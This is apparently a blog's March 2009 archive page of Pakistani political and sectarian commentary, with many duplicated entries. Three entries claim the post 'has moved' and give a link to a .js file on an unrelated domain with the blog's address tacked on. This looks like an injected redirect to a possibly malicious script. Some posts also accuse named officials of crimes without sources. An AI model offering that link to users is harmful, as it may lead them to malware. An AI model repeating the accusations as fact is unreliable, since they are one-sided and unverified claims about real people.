Monthly Archive:: March 2009
The attack on Sri Lankan cricket team has all the hallmarks of the Taliban/Al Qaeda and ISI alliance: The Lahore attack has all the hallmarks of the Taliban/Al Qaeda and ISI alliance. Here is an analysis based on international commentary on this attack. The terrorist attack on the Sri Lankan cricket team in Lahore has all the
Shaky peace deal with Taliban in Swat: An update – 3 March 2009: Shaky in Swat Tuesday, March 03, 2009 It is no surprise at all that the truce in Swat is under threat. Indeed, we would all have been left perplexed if this had not happened. Sufi Mohammad Khan has now
Deobandi fatwa declaring India “Dar al-Aman”: It seems that Deobandis have finally conceded that India is not a place worthy of Islamic jihad. This is U-turn from their ideology since Syed Ahmed Barelvi’s violent jihad. However, the question is: truce for Hindus, while Shias are
Nawaz Sharif, Saudi Arabia and the war on terror: In the following op-ed, Asadullah Ghalib offers an analysis of the relationship between Nawaz Sharif and Saudi Arabi, and the shift in Sharif’s strategy from a focus on war on terror to war gainst Asif Zardari.
Terrorist Attack on Sri Lankan Cricket Team in Lahore: Is Lashkar-e-Taiba/Taliban alliance involved?: The attack had echoes of one on the Indian city of Mumbai last November, which led to the Indian cricket team cancelling its planned tour of Pakistan. According to a high ranking government official in Pakistan, the attack has
Taliban’s suicide attack at a moderate scholar of JUI-F in Pishin: Suicide bomber kills five in Pakistan: police Suicide bomber appeared to be a 14 year boy from Waziristan: Maulana Shirani (BBC Urdu) …. QUETTA, Pakistan (AFP) — A suicide bomber Monday killed at least five people and wounded seven
4 Shia children kidnapped by Taliban in Hangu not found yet: Why is the Pakistani and international media silent on the systematic killings of Shia in Pakistan? 4 students kidnapped in Hangu not found yet HANGU: The four students kidnapped in district Hangu have not been recovered yet. The driver
Palki Main Hoke Sawar Chali Re: Nawaz Sharif joins Qazi Hussain Ahmed: Palki Main Hoke Sawar Chali Re: Nawaz Sharif joins Qazi Hussain Ahmed’s Palki of Long March. IJI revived? ISI involved? paalki mein ho ke savaar chali remain to apane saajan ke dwaar chali rekoi rok sake to ... …..
Ahsan Iqbal, gangster from Narowal? Is this the level of PML-N’s leadership?: This post has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26593, click this link if you are not redirected
Hamid Akhtar: Jinnah’s ideal was Ataturk, not a Taliban style Khalifah: Also read: Rubina Saigol: Some myths vs facts about fundamentalism in Pakistan
Zardari is a cheater – Nawaz Sharif keeps his promises: In the following op-ed, Tanvir Qaiser Shahid exposes some secrets of the relationship between Qazi Hussain Ahmed’s Jamaat-e-Islami and Nawaz Sharif’s PML-N.
Zardari is a cheater – Nawaz Sharif keeps his promises: In the following op-ed, Tanvir Qaiser Shahid exposes some secrets of the relationship between Qazi Hussain Ahmed’s Jamaat-e-Islami and Nawaz Sharif’s PML-N.
Abbas Ather: The Motorway Party as the saviour of Pakistan?: Does the urban Punjab represent the whole Pakistan? Does the motorway party (i.e., PML-N, whose popularity is limited to cities on the motorway from Lahore to Rawalpindi) represent the majority of Pakistan? Do the motorway journalists (i.e., Dr. Shahid
Abbas Ather: The Motorway Party as the saviour of Pakistan?: Does the urban Punjab represent the whole Pakistan? Does the motorway party (i.e., PML-N, whose popularity is limited to cities on the motorway from Lahore to Rawalpindi) represent the majority of Pakistan? Do the motorway journalists (i.e., Dr. Shahid
MQM holds a huge rally in Karachi against the the damaging of the Benazir memorial in Rawalpindi by the PML-N workers…: MQM rally to condemn damaging of BB’s memorial PDF Print E-mail KARACHI, March 1 (APP): The Muttahida Qaumi Movement (MQM) held a huge rally in downtown Karachi on Sunday to protest against the damaging of the memorial at the
MQM holds a huge rally in Karachi against the the damaging of the Benazir memorial in Rawalpindi by the PML-N workers…: MQM rally to condemn damaging of BB’s memorial PDF Print E-mail KARACHI, March 1 (APP): The Muttahida Qaumi Movement (MQM) held a huge rally in downtown Karachi on Sunday to protest against the damaging of the memorial at the
Talat Masood: Fallout of the Supreme Court verdit: Fallout of the verdict Monday, March 02, 2009 Talat Masood The way events are unfolding in Pakistan it appears our national failure has been programmed and the political software written by our leaders, whether it was the erstwhile military
Talat Masood: Fallout of the Supreme Court verdit: Fallout of the verdict Monday, March 02, 2009 Talat Masood The way events are unfolding in Pakistan it appears our national failure has been programmed and the political software written by our leaders, whether it was the erstwhile military
Seema Mustafa: What the people of Pakistan think about the Taliban: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1063, click this link if you are not redirected
Seema Mustafa: What the people of Pakistan think about the Taliban: What the people of Pakistan think about the Taliban Monday, March 02, 2009 Seema Mustafa The tide is turning for the people of Pakistan. And the fear and apprehension is palpable as soon as one crosses the Wagah border
Hasan Nisar: Punjab and People’s Party: Editorial: Give Punjab back? Amid scuffling MNAs, Prime Minister Yousaf Raza Gilani announced Saturday on the floor of the National Assembly that the PPP would sit on the opposition benches in the Punjab Assembly if it failed to form
Hasan Nisar: Punjab and People’s Party: Editorial: Give Punjab back? Amid scuffling MNAs, Prime Minister Yousaf Raza Gilani announced Saturday on the floor of the National Assembly that the PPP would sit on the opposition benches in the Punjab Assembly if it failed to form
Quetta: 2 March 2009: 2 more Shia killed by Humayun Jogezai and his associates in Taliban: Quetta Police Chief, Humayun Jogezai has been once again successful in engineering and executing another round of Shia killings. Innocent people of Quetta demand an honest police officer such as Shoaib Suddle to be appointed in place of terrorist
Quetta: 2 March 2009: 2 more Shia killed by Humayun Jogezai and his associates in Taliban: Quetta Police Chief, Humayun Jogezai has been once again successful in engineering and executing another round of Shia killings. Innocent people of Quetta demand an honest police officer such as Shoaib Suddle to be appointed in place of terrorist
Shia pilgrims killed in Medina: King Abdullah Has No Robes: George Galloway speaks about the killing of 4 Shia pilgrims by Wahhabis in Madinah Unrest in Medina King Abdullah Has No Robes By RANNIE AMIRI www.counterpunch.org Weekend Edition February 27 – March 1, 2009 Located in the Hijaz region
Shia pilgrims killed in Medina: King Abdullah Has No Robes: George Galloway speaks about the killing of 4 Shia pilgrims by Wahhabis in Madinah
Qazi Hussain Ahmed hears the buzz of the military boots…: Are the old ISI stooges re-aligning themselves? Qazi doesn’t see President Zardari Govt. continuingUpdated at: 1335 PST, Sunday, March 01, 2009 (The News) LAHORE: Amir Jamaat-e-Islami, Qazi Hussain Ahmad said that President Zardari government was not seen continuing. Talking
Qazi Hussain Ahmed hears the buzz of the military boots…: Are the old ISI stooges re-aligning themselves? Qazi doesn’t see President Zardari Govt. continuingUpdated at: 1335 PST, Sunday, March 01, 2009 (The News) LAHORE: Amir Jamaat-e-Islami, Qazi Hussain Ahmad said that President Zardari government was not seen continuing. Talking
Government of tyranny? A comparison of Nawaz Sharif and Asif Zardari: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1058, click this link if you are not redirected
Government of tyranny? A comparison of Nawaz Sharif and Asif Zardari: Govt. of ‘Kufr’ could carry on, but not that of tyranny: Nawaz March 01, 2009 LAHORE: Muslim League-N Quaid Mian Nawaz Sharif has said that the country was beset with several problems, which led him to enter into an
New York Times: Nawaz Sharif is manipulating the combustible court ruling for personal political gain: Pakistan in ‘mortal danger’: NYT Masood HaiderSunday, 01 Mar, 2009 like Mr Zardari, Mr Sharif is a flawed leader and no doubt is manipulating the combustible court ruling for personal political gain: NYT NEW YORK: ‘Between the threats from
New York Times: Nawaz Sharif is manipulating the combustible court ruling for personal political gain: Pakistan in ‘mortal danger’: NYT Masood Haider Sunday, 01 Mar, 2009 like Mr Zardari, Mr Sharif is a flawed leader and no doubt is manipulating the combustible court ruling for personal political gain: NYT NEW YORK: ‘Between the threats
Nawaz Sharif’s politics of agitation: Politics of agitation —Dr Hasan-Askari Rizvi Moderation, tolerance and accommodation can help overcome the present crisis. Both sides need to stand-down from their rigid perspectives. The longer they confront each other in the streets, the harder it will be
Nawaz Sharif’s politics of agitation: Politics of agitation —Dr Hasan-Askari Rizvi Moderation, tolerance and accommodation can help overcome the present crisis. Both sides need to stand-down from their rigid perspectives. The longer they confront each other in the streets, the harder it will be
Hangu kidnapping of Shia School Students by Taliban: Hangu kidnapping Sunday, March 01, 2009In what appears to be another act of sectarian violence in the Hangu area, which has seen over a year of conflict between tribes divided along the lines of sect, a van driver was
Hangu kidnapping of Shia School Students by Taliban: Hangu kidnapping Sunday, March 01, 2009 In what appears to be another act of sectarian violence in the Hangu area, which has seen over a year of conflict between tribes divided along the lines of sect, a van driver
Swat Peace Deal with Taliban: Questions which ANP must answers: Swat Peace Deal with Taliban: Questions which ANP must answers By: Ahfaz-ur-Rehman, Daily Express, 1 March 2009
Swat Peace Deal with Taliban: Questions which ANP must answers: Swat Peace Deal with Taliban: Questions which ANP must answers By: Ahfaz-ur-Rehman, Daily Express, 1 March 2009
Why do Taliban (and their supporters in the ISI) attack secualr Pashtuns?: US responsible for the situation in Pakistan Irfan Khan Momand UK irfan188@hotmail.com Source: “FRONTIER POST” FEB.12, 2008 The recent suicide attack on Awami national Party rally in Charsadda was certainly a very shameful act. We condemned this suicide attack